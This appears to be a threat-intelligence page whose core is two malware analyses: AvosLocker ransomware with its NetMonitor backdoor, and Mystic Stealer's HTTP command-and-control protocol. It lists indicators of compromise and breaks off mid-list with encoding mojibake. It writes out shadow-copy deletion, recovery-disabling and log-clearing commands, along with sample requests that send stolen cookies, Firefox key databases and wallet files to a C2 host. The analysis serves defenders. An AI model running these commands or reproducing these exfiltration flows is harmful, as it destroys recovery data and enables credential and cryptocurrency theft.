Bitsight uncovered Socks5Systemz, a proxy botnet delivered by the PrivateLoader and Amadey loaders, turning infected devices into backconnect proxies and offering a subscription-based service. The operation spans Europe with around 10,000 infected hosts, a logā¦
Researchers intercepted Kinsingās manual testing of the Looney Tunables vulnerability (CVE-2023-4911) as part of its cloud-native intrusion campaign, including attempts to harvest Cloud Service Provider credentials. The activity signals a shift from automated ā¦
Introduction
On October 11, 2023, the Cybersecurity and Infrastructure Security Agency (CISA) published an advisory for AvosLocker, which was a sophisticated double extortion Ransomware-as-a-Service (RaaS) group that was last observed being active in May 2023. Our research team put this report together so the security community can learn how to counteract other threats that employ similar tactics and procedures (TTPs).
The AvosLocker group gained prominence in July 2021 and was known for employing a double extortion strategy where they first stole data before encrypting it. The group would then threaten to release the data on a dedicated leak site unless a ransom was paid. Initially, AvosLocker primarily targeted Windows systems, but they subsequently expanded their reach by creating a Linux version of their ransomware designed to target VMware ESXi.
Key Takeaways
AvosLocker was a Ransomware-as-a-Service double extortion group.
No new activity has been observed since May 2023.
AvosLocker hosted a data leak site from July 2021 to July 2023, where they would add stolen proprietary data unless a ransom was paid.
AvosLocker heavily targeted the education sector ā accounting for 25% of their attacks.
The United States bore the brunt of most AvosLocker attacks accounting for a whopping 72.2%, with Canada trailing far behind at 9.3%.
Attack Methodologies
Since different affiliates employed distinct intrusion techniques, each threat actorās deploying AvosLocker approach to gain unauthorized access varied significantly. Affiliates were observed exploiting ProxyShell vulnerabilities, like CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207, present in the Microsoft Exchange server to obtain initial access. AvosLocker affiliates also infiltrated victims' networks via compromised RDP and VPN accounts, and exploited the Zoho ManageEngine ServiceDesk Plus vulnerability.
After infiltrating a victimās network, the ransomware was executed in Windows Safe Mode to maximize the number of files that could be encrypted, since applications such as databases and security software (e.g., antivirus programs) would likely not be running. This technique ensured that these applications would not interfere with file encryption. The ability to encrypt files in Windows Safe Mode is a feature that has been observed in other ransomware families, including Conti, REvil, and BlackMatter.
Infections by Industry
Figure 1, shown below, depicts the industries most affected by AvosLocker as a percentage of total attacks over the past year.
AvosLocker focused its attacks on the education sector and received approximately 25% of the groupās total attacks.
Furthermore, AvosLocker impacted the manufacturing and healthcare industry, which accounted for approximately 15.38% and 9.62%, respectively.
Figure 1: Industry verticals targeted by double extortion attacks using AvosLocker
Countries Targeted by AvosLocker
The U.S. emerged as the hardest-hit country in attacks orchestrated by the AvosLocker group, with more than 72% of attacks as shown in Figure 2. This highlights the scale and severity of the cyberthreat faced by U.S. businesses and institutions. Canadian organizations received 9.3% of AvosLockerās attacks. China and Taiwan shared a similar level of impact, each experiencing 3.7% of AvosLocker attacks.
Figure 2: Breakdown of victims by country breached by AvosLocker
Ransomware Analysis
Since first discovered in 2021, AvosLocker binaries have undergone slight changes and improvements. The following is a detailed analysis of the last variant used in-the-wild.
Command line arguments
AvosLocker implements multiple command line arguments, as shown in Figure 3, allowing for customization of the ransomware execution based on affiliate requirements.
Figure 3: AvosLocker command line arguments
The threat actor decides what functionality to enable/disable during the execution of the AvosLocker ransomware. When executed, the selected options are displayed in the console as shown below.
Build: SonicBoom
b_bruteforce_smb_enable: 0
b_logical_disable: 0
b_network_disable: 1
b_mutex_disable: 0
concurrent_threads_num_max: 200
AvosLocker creates the mutex Zheic0WaWie6zeiy by default to ensure that only one ransomware process is running at a given time, unless the –nomutex command line argument is provided.
Pre-encryption measures
Upon execution, AvosLocker first checks whether it has administrative privileges, and if not, it shows the debug message in the console, The token does not have the specified privilege, and then executes a process termination routine targeting databases, web browsers, and other business applications. The list of processes to be terminated were decoded dynamically using a stack-based string obfuscation algorithm (described later in the report). The process names in Table 1 were terminated.
Table 1: AvosLocker process termination list
encsvc
thebat
mydesktopqos
xfssvccon
firefox
infopath
winword
steam
synctime
notepad
ocomm
onenote
mspub
thunderbird
agntsvc
mydesktopservice
excel
powerpnt
outlook
wordpad
dbeng50
isqlplussvc
sqbcoreservice
oracle
ocautoupds
dbsnmp
msaccess
tbirdconfig
ocssd
sql & visio
Then, AvosLocker performs the following actions:
Deletes Windows shadow copies to prevent the recovery of files using the following commands:
wmic shadowcopy delete /nointeractive
vssadmin.exe Delete Shadows /All /Quiet
Disables recovery mode and the edits the boot status policy, which prevents access to Windows Recovery Mode with the following commands:
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
Deletes the Windows event logs to cover up evidence of malicious activity with the following PowerShell command:
Powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
Encryption process
AvosLocker leverages multiple threads to encrypt the target files on an infected machine. Then it enumerates all drives (e.g., fixed, removable, and network shares) based on the command line arguments. The ransomware then performs a file extension check where the files with the extensions in Table 2 are excluded and not encrypted.
Table 2: AvosLocker extension exclusion list
avos
avoslinux
avos2
avos2j
themepack
nls
diagpkg
msi
lnk
exe
cab
scr
bat
drv
rtp
msp
prf
msc
ico
key
ocx
diagcab
diagcfg
pdb
wpx
theme
mpa
hlp
icns
rom
dll
msstyles
mod
ps1
nomedia
spl
ics
hta
bin
cmd
ani
386
lock
cpl
adv
cur
idx
sys
com
deskthemepack
shs
ldf
icl
msu
In addition, AvosLocker wonāt encrypt any files listed in Table 3.
Table 3: Files excluded by AvosLocker
Thumbs.db
ntuser.ini
ntuser.dat.log
ntuser.dat
ntldr
iconcache.db
desktop.ini
config.msi
bootsect.bak
bootfont.bin
boot.ini
autorun.inf
Furthermore, AvosLocker wonāt encrypt the directories in Table 4.
Table 4: Folders excluded by AvosLocker
All Users
AppData
boot
bootmgr
Games
Intel
Microsoft.
Program Files/Program Files (x86)
ProgramData
Public
Sophos
System Volume Information
Windows
Windows.old
WinNT
MicrosoftSQL Server
AvosLocker encrypts file content using AES in CBC mode with a randomly generated AES key. The AES symmetric key is then encrypted with a 2,048-bit RSA public key embedded in the ransomware binary. Finally, the RSA data containing the encrypted AES key is Base64 encoded and appended to the end of the encrypted file (see Figure 4). Then, the file extension is changed to .avos2.
Figure 4: AvosLocker encrypted file contents
During the encryption phase, the ransomware also prints debug messages to the console that show encryption statistics to the threat actor as shown below.
drive D: took 0.003000 seconds
drive Z: took 0.119000 seconds
drive A: took 1.060000 seconds
drive C: took 19.672000 seconds
Waiting for encryption threads to finish … [OK]
Encryption Stats
[+] Locked objects: 6313
asym time: clocks 14465
total time: clocks 20648 | 20.648000 seconds
After encryption, AvosLocker drops a ransom note named GET_YOUR_FILES_BACK.txt as shown in Figure 5.
Figure 5: AvosLocker ransom note
AvosLocker also changes the Windows desktop wallpaper (shown in Figure 6) to a message similar to the ransom note text file.
Figure 6: AvosLocker ransom note wallpaper
The victim ID mentioned in the ransom note is hardcoded in the AvosLocker binary and the ransom noteās filename is README_FOR_RESTORE. ThreatLabz also observed AvosLocker using different file extensions such as .avos, .avos2, and .avoslinux, with the latter being used for the Linux variant. The Linux variant is very similar to the Windows version, but also possesses the capability to terminate and encrypt ESXi virtual machines.
Data Leak Site
If a victim decided not to pay a ransom, the group would post stolen data to their data leak site hosted via a Tor hidden service. This tactic was designed to pressure victims to pay a ransom to avoid a loss of sensitive information that may be damaging to the victim organization when publicly disclosed. The AvosLocker data leak site has been down since July 2023 and the payment site went down in August 2023. ThreatLabz observed a total of 60 victimsā data posted on the data leak site as shown in Figure 7.
Figure 7: AvosLocker data leak site
Anti-Analysis
All the important strings in AvosLocker ransomware samples are obfuscated using ADVObfuscator,which pushes encoded versions of strings to the stack, and then decodes them at runtime (as shown in Figure 8), using simple but different algorithms and keys.
Figure 8: AvosLocker string obfuscation
For instance, the string above decodes to: cmd /c wmic shadowcopy delete /nointeractive
NetMonitor Backdoor
AvosLocker leverages NetMonitor, a tool that appears like a legitimate network monitoring utility, but in reality acts as a backdoor for AvosLocker.
NetMonitor establishes persistence after being installed as a system service, using names such as: NetAppTcp, NetAppTcpSvc, WazuhWinSrv, RSM, WinSSP, WebService, etc. Once initiated, NetMonitor tries to contact its C2 server every 5 seconds using a hardcoded IP address and port (usually 443). The malware uses raw sockets and a small binary protocol for all communication, where the encrypted ping packet contains content similar to that shown in Figure 9.
Figure 9: NetMonitor encrypted communication
The first four bytes are random, and the remaining bytes are an RC4 encrypted payload with an 8 byte key. Figure 10 shows the actual payload content after the decryption.
Figure 10: NetMonitor decrypted communication
The first four bytes are also random (and identical to the previous four bytes prepended to the encrypted payload) followed by a command. Depending on the command received, NetMonitor then starts listening on a port or acts as a reverse proxy server.
NetMonitor was closely tied to AvosLocker, with the last observed activity occurring in the first half of 2023, and no new samples have been identified since August 2023.
Conclusion
AvosLocker is a ransomware group that was active and performing double extortion attacks until May 2023. The group also targeted multiple operating systems with different ransomware variants. Zscaler ThreatLabz continues to track different ransomware groups and add indicators of compromise to protect our customers. Please read Zscalerās yearly ransomware report to learn more about the various trends and most significant ransomware groups.
Zscaler Coverage
Cloud Sandbox
In addition to sandbox detections, Zscalerās multilayered cloud security platform detects indicators related to AvosLocker at various levels with the threat names listed below.
Win32.Ransom.Avos
Indicators of Compromise (IOCs)
AvosLocker
Hashes
1076a979c6a7633ee3a4884d738452c5
1330887fe501036aff6ed443340e9405
d285f1366d0d4fdae0b558db690497ea
76e177a94834b3f7c63257bc8011f60f
b27f0f2826bacd329fb28d9cda002d7d
16a5d134d50eeb34989b48dca166462d
f9de6998546e9ea169c54527962e1e92
1933f61951738b6fdbfff3fa0f65d712
63e12fa6203dc61fc82343e7dec1b33b
4e75f8dc15a82674c57c4f12dbd78808
8c4bfd216fb8e69f7f1e1f4cb1e3f9a1
0e9432cd9e9405b04f4e46b368585d60
19944159dfa94a1b75effd85e6b906dc
869fc579f45a790b7c485d52cb2c8986
0b3888d8683d3ebb27627452a0179575
194c16941dc618facef7d0c4749a39a7
c41c5de8abeb92adaf8a86cf8b31570e
f091b9085d35e61945c743e3683b1b71
2d7cf26f4e4dacf637f7ef0b1edfbda5
a0a60441609f42f2f79c7826db9ae296
URLs
Payment Sites:
avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad.onion
avos2fuj6olp6x36.onion
Data Leak Sites:
avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad.onion
avos53nnmi4u6amh.onion
NetMonitor
Hashes
A5485e8f09f6428b42b499bc914532e6
e5dac186720ea10f3752aa30a96d3fc0
9ff900a05d75b97948a3b52d8835b21f
15e948c18ea77efb5ffbf0a72d05d348
85e44d1333422e9b550c94ad7b7202a0
d59dca267722dfd923350d5b139b1036
C&Cs
194.213.18.138:443
146.70.147.17:443
142.44.132.90:443
45.66.249.80:443
23.227.198.197:443
23.236.181.117:443
We unveil a Lazarus campaign exploiting security company products and examine its intricate connections with other campaigns
Decoding a Remcos Loader, leveraging regex, python and Cyberchef to identify IOCs.
Deep Instinct reports a new MuddyWater spear-phishing campaign targeting Israeli entities, with updated tactics, techniques, and infrastructure, including public hosting on Storyblok and a multi-stage infection chain using a LNK launcher and a signed installerā¦
Unit 42 provides a deep technical analysis of an upgraded Kazuar backdoor variant used by the Pensive Ursa group, highlighting stealth, anti-analysis, and multi-stage capabilities. The report details Kazuarās HTTP and named-pipe C2 communications, extensive 40ā¦
An Infostealer is being distributed by pairing a legitimate-signed EXE with a malicious DLL in the same directory, exploiting DLL hijacking to trigger the malware when the EXE runs. The threat uses in-memory decryption, DLL injection, and XOR-encrypted C2 commā¦
A pirated installer distributed via the torrent site topsoft.space delivered an AutoIt-based malware (named “autoit stealer”) that deployed RMS, an XMRig miner, disabled defenses, and exfiltrated Telegram session data to a Telegram bot C2. The campaign infecteā¦
Nobody would even suspect the mining malware was merely a mask, masquerading behind an intricate modular framework that supports both Linux and Windows. The amount of effort that went into creating the framework is truly remarkable, and its disclosure was quite astonishing.
Check Point Research tracks Scarred Manticore, an Iranian threat actor affiliated with MOIS, conducting an espionage campaign in the Middle East using the LIONTAIL framework to load memory-resident payloads on Windows servers. The operation features tailor-madā¦
Opinions on large cyberattack cost estimates are discussed, arguing they can cause fear and public shaming rather than productive action; the piece advocates concentrating on practical, easy cybersecurity wins. It highlights Talos findings on YoroTrooper, plusā¦
Rapid7 MDR observed suspected exploitation of Apache ActiveMQ CVE-2023-46604 in two customer environments, with attackers attempting to deploy HelloKitty ransomware on outdated ActiveMQ versions. The analysis details the vulnerability, attacker behavior (incluā¦
AhnLabās ASEC reports HWP documents embedded with OLE objects that deliver malware to individuals in defense, press, and related sectors, mainly distributed via download URLs or email attachments. The campaign uses two main payload types: a Type 1 OLE-based meā¦
Introduction
Mystic Stealer is a relatively new downloader and information stealer that emerged in early 2023. The malware harvests data from a large number of web browsers and cryptocurrency wallet applications. Mystic can also be used to steal Steam game credentials and arbitrary files from an infected system. Mystic stands out for the level of obfuscation and improvements with each new version of the malware. The code continues to evolve and expand the data theft capabilities and the network communication was updated from a custom binary TCP-based protocol to an HTTP-based protocol. The shift to HTTP may be due to Mystic Stealer failing to beacon back to a C2 server in corporate environments, which frequently block network traffic on non-standard ports. The new modifications have led to increased popularity with criminal threat actors leveraging its loader functionality to distribute additional malware families including RedLine, DarkGate, and GCleaner.
In this blog, we will analyze the latest updates to Mystic Stealer as a follow-up to our previous report.
Key Takeaways
Mystic Stealer is an information stealer that was first advertised in April 2023, which targets nearly 40 web browsers and more than 70 browser extensions.
Mystic Stealer has been regularly updated with improvements to its code obfuscation, configuration, and methods of communication.
The malwareās command and control (C2) communications have been updated from a custom encrypted binary protocol to HTTP.
Mystic Stealer has added loader functionality in recent versions to complement its information stealing abilities.
Mystic Stealer has been used by numerous threat groups that leverage it to distribute second-stage malware payloads including RedLine, DarkGate, and GCleaner.
Technical Analysis
The latest variant of Mystic Stealer has introduced some notable changes in both the behavior of the malware and in the obfuscation. The entry point of the malware is very similar to the older variant. The malware exits if the current date is older than a specific hardcoded date. Figure 1 shows a comparison of the main function between the previous variant and the current variant.
Figure 1: Comparison of the WinMain function for the current and previous Mystic variants
In the latest variant of Mystic Stealer, the decryption of the malware C2s has been moved to a sub-function that is executed after the expiration date (probably to avoid leaking the C2s in memory if this time check fails).
Embedded C2 Configuration
The algorithm used to decrypt the list of C2 is the same custom XTEA-based algorithm as the previous variant. However, after the custom XTEA layer has been decrypted, there is a sequence of HTTP C2s, separated by a ā|ā delimiter. The C2 path is stored among the list of obfuscated strings that are constructed and decoded using the stack as shown in Figure 2.
Figure 2. Mystic Stealer C2 path obfuscation
Information Stealing Configuration
In the previous Mystic Stealer variant, the target lists for web browsers, extensions (and their IDs), and cryptocurrency applications were embedded and obfuscated in the malware. In recent versions, the application target list is now downloaded from the C2 server instead of being hardcoded, as we will examine in the following section.
Communications
In the latest Mystic Stealer variant, all communications between the infected system and the C2 server are performed using HTTP POST requests. Unlike the previous variant that used RC4 to encrypt a custom binary TCP-based protocol, the latest variant does not implement any form of encryption. The data sent in the POST query is Base64 encoded, as shown below:
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="<name>"
BASE64(<data>)
–<boundary>
The response data from the server is also encoded in Base64. The response starts with āOKrnā and is followed by any data returned by the C2 server for the specific query.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 11 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK <rest of data for the specific command, if necessary>)
Registration
The infected system (bot) starts communication with the C2 server by sending a POST request with data containing a variable named hwid, which includes a Base64 encoded bot ID generated based on information from the victimās machine. A second variable with the name build contains the botnet ID, a value that is hardcoded in the binary of the malware. Once the C2 receives these initial two packets, the bot is registered.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="hwid"
BASE64(0123456789ABCDEF123456)
–<boundary>
Content-Disposition: form-data; name="build"
BASE64(botnet_id)
–<boundary>–
The C2 server generates and returns a session token (a 64 byte lowercase hexadecimal string) that will be used in subsequent packets, together with a set of binary flags that indicates which actions should be performed (take a screenshot, steal browser credentials, steal cryptocurrency wallets, etc).
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 07 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK <token>1|1|1|1|0|1|1|1|0|1|1)
When the bot submits information to the C2 server, it sends a POST request with:
A filename variable containing the name of the file being submitted, Base64 encoded
A file variable with the content of the file, also Base64 encoded
A token variable with the session token from the registration request
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64("example.txt")
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of example.txt>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
If the request is valid, the server answers with an OK response.
After registration, the bot sends information about the infected system via a file named SystemInformation.txt that contains information similar to the following:
Build mark: zzzz
IP: {ip}
File Location: C:UsersxxxxAppDataLocalTempaaaabbbb.exe
UserName: xxxx
ComputerName: XXXX
Country: {country}
Location: {location}
Zip code: {zipcode}
TimeZone: {timezone}
HWID: 0123456789ABCDEF012345
Current language: English (United States)
ScreenSize: 1792×1120
Operation System: Windows 10 Pro x64
Available KeyboardLayouts:
English (United States)
Hardwares:
CPU: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz
GPU: VMware SVGA 3D
RAM: 4293898240ll
Information Stealing
Once Mystic Stealer has registered and reported the infected system information, the binary flags from the C2 server determine whether to conduct data theft and load additional malware payloads. Mystic Stealer sends HTTP POST requests for specific target lists by specifying the value in a msg variable.
Browsers
Depending on the configuration, Mystic Stealer will steal data from Chromium-based browsers by first requesting a target list from the C2 server.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="msg"
BASE64("chromium-browsers")
–<boundary>
Content-Disposition: form-data; name="token"
BASE64(<token>)
–<boundary>–
The Mystic Stealer C2 server will respond with a list of Chromium-based browsers to target. The Appendix section shows the full list of browsers that have been targeted.
Citrio|%localappdata%CatalinaGroupCitrioUser
Data|Coowon|%localappdata%CoowonCoowonUser
Data|Liebao|%localappdata%liebaoUser
Data|QIP Surf|%localappdata%QIP SurfUser
Data|Orbitum|%localappdata%OrbitumUser
Data|Comodo Dragon|%localappdata%ComodoDragonUser
Data|Amigo|%localappdata%AmigoUserUser
Data|Torch|%localappdata%TorchUser Data|Yandex
Browser|%localappdata%YandexYandexBrowserUser
Data|Comodo|%localappdata%ComodoUser
Data|360Browser|%localappdata%360BrowserBrowserUser
Data|Maxthon3|%localappdata%Maxthon3User Data|K-Melon|…
Each element of the list contains the name of the browser and the path where the browserās data is stored:
Browser name 1|Browser path 1|…………..|Browser N|Browser path N
Mystic Stealer also retrieves a list of browser extensions to target.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="msg"
BASE64(extensions)
–<boundary>
Content-Disposition: form-data; name="token"
BASE64(<token>)
–<boundary>–
The Mystic Stealer C2 server will return the browser extensions configuration.
Coinbase Wallet|hnfanknocfeofbddgcijnmhnfnkdnaad|Guarda|hpglfhgfnhbgpjdenjgmdg
oeiappafln|EQUAL Wallet|blnieiiffboillknjnepogjhkgnoapac|Jaxx
Liberty|cjelfplplebdjjenllpjcblmjkfcffne|BitApp
Wallet|fihkakfobkmkjojpchpfgcmhfjnmnfpi|iWallet|kncchdigobghenbbaddoj
jnnaogfppfj|Wombat|amkmjjmmflddogmhpjloimipbofnfjih|MEW
CX|nlbmnnijcnlegkjjpcfjclmcfggfefdm|GuildWallet|nanjmdknhkinifnkgdcgg
cfnhdaammmj|Saturn Wallet|nkddgncdjgjfcddamfgcmfnlhccnimig|Ronin
Wallet|fnjhmkhhmkbjkkabndcnnogagogbneec|NeoLine|cphhlgmgameodnhkjdmkp
anlelnlohao|CLV Wallet|nhnkbkgjikgcigadomkphalanndcapjk|Liquality
Wallet|kpfopkelmapcoipemfendmdcghnegimn|Terra
Station|aiifbnbfobpmeekipheeijimdpnlpgpp|Keplr|dmkamcknogkgcdfhhbddcg
hachkejeap|Sollet|fhmfendgdocmcbmfikdcogofphimnkno|…
In this case, each element contains the name of the extension and the ID.
Extension name 1|Extension ID 1|….|Extension name N|Extension ID N
Next, the malware downloads the legitimate sqlite3.dll DLL from the C2 server. This library is used to parse web browser SQLite database files.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="msg"
BASE64("sqlite3")
–<boundary>
Content-Disposition: form-data; name="token"
BASE64(<token>)
–<boundary>–
The response is the sqlite3 DLL Base64 encoded, as shown below:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 11 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK BASE64(<sqlite3 file>))
The stolen browser data (if any) is sent to the C2 server. For example, cookies stolen from Microsoft Edge (which is Chromium-based) would be exfiltrated, as shown below:
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64(āCookies/Microsoft_Edge_Default.txtā)
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of Cookies/Microsoft_Edge_Default.txt>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
Depending on the configuration, Mystic Stealer will also retrieve a list gecko-browsers to target.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="msg"
BASE64("gecko-browsers")
–<boundary>
Content-Disposition: form-data; name="token"
BASE64(<token>)
–<boundary>–
The configuration format is identical to the chromium-browser list.
Firefox|%appdata%MozillaFirefoxProfiles|Comodo
IceDragon|%appdata%ComodoIceDragonProfiles|BlackHawk|%appdata%NET
GATE
TechnologiesBlackHawkProfiles|Cyber
fox|%appdata%8pecxstudiosCyberfoxProfiles|K-Meleon|%appdata%K-MeleonProfiles|Icecat|%appdata%Mo
zillaicecatProfiles
Mystic Stealer will collect a number of database files from Firefox-based browsers containing cookies, certificates, keys, etc., as shown below:
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64("Gecko/Firefox/<profile>.default/key4.db")
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of Gecko/Firefox/<profile>.default/key4.db>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 11 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK)
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64("Gecko/Firefox/<profile>.default/cert9.db")
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of Gecko/Firefox/<profile>.default/cert9.db>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 11 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK)
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64("Cookies/Firefox_<profile>.default.txt")
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of Cookies/Firefox_<profile>.default.txt>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 11 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK)
If the browser history configuration flag (position 4) is set to 1, Mystic Stealer also sends the victimās browsing history.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64("History/Firefox_8qjvd3qg.default-release.txt")
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of History/Firefox_8qjvd3qg.default-release.txt>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
The browser history file contains the website title (if available) and the URL as shown below:
Title: <Title1>
Url: <url1>
===============
Title: <Title2>
Url: <url2>
===============
…
===============
Title: <TitleN>
Url: <urlN>
===============
Screenshots
If the screenshot configuration flag (position 8) is set to 1, Mystic Stealer captures and sends a screenshot of the victimās machine.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="filename"
BASE64("Screenshot.jpeg")
–<boundary>
Content-Disposition: form-data; name="file"
BASE64(<content of Screenshot.jpeg>)
Content-Disposition: form-data; name="token"
BASE64(<token>)
ā<boundary>–
Files
Mystic Stealer also downloads a list of files to be stolen from the victim.
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="msg"
BASE64("files")
–<boundary>
Content-Disposition: form-data; name="token"
BASE64(<token>)
–<boundary>–
The Mystic Stealer C2 server returns a list of target files and directories to steal. For example, ThreatLabz has observed this feature used to steal cryptocurrency wallets as shown below:
Wallets/Jaxx
Desktop|%appdata%com.liberty.jaxxIndexedDBfile__0.indexeddb.leveld
b|*.*|0|Wallets/Atomic|%appdata%atomicLocal
Storageleveldb|*.*|0|Wallets/Binance|%appdata%Binance|app-store.jso
n,simple-storage.json,.finger-print.fp|0|Wallets/Co
inomi|%appdata%CoinomiCoinomiwallets|.wallet,*.config|0|Wallets/Exo
dus|%appdata%Exodus|exodus.conf.json,window-state.json,passphrase.json,seed.seco,info
.seco|1|Wallets/Bitcoin
Core|%appdata%Bitcoinwallets|wallet.dat|1|Wallets/Bitcoin Core
Old|%appdata%Bitcoin|*wallet*.dat|0|Wallets/Dogecoin|%appdata%Bitco
inwallets|*wallet*.dat|0|Wallets/Raven
Core|%appdata%Raven|*wallet*.dat|0|Wallets/Daedalus
Mainnet|%appdata%Daedalus Mainnetwallets|she*.sqlite|0|Wallets/Blockstream
Green|%appdata%BlockstreamGreenwallets|*.*|1|Wallets/Wasabi
Wallet|%appdata%WalletWasabiClientWallets|*.json|0|Wallets/Ethereu
